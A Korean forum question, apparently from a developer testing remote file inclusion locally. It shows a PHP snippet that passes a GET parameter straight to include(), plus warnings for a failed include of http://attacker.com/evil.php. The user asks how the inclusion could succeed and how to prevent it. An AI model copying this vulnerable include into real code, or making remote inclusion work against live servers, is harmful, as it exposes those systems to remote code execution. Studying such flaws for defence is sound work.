문제가 있습니다. 원격 파일 포함 삽입을 테스트하고 PHP를 사용하여 URL 쿼리 문자열의 파일을 포함하려고했습니다. 하지만 여기에 몇 가지 경고 메시지가 나타납니다. 아래 코드를 설명하고 있습니다.PHP를 사용하여 파일을 포함 할 수 없습니다.
<?php
$file = $_GET['file'];
include($file);
?>
다음 메시지가 나타납니다.
Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(http://attacker.com/evil.php): failed to open stream: no suitable wrapper could be found in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(): Failed opening 'http://attacker.com/evil.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/test/remote.php on line 3
여기서 나는 http://localhost/test/remote.php?file=http://kooleedback.com/about.php
과 같은 원격 파일을 호출하고 있습니다. 여기서 나는 그것이 어떻게 성공적으로 포함될 수 있는지, 그리고 그것이 어떻게 예방 될 수 있는지를 알아야합니다.
예, 당으로 내가 알 수 없다 포함되는 경우 비트 간 메시지를 구현 한 후. – subhra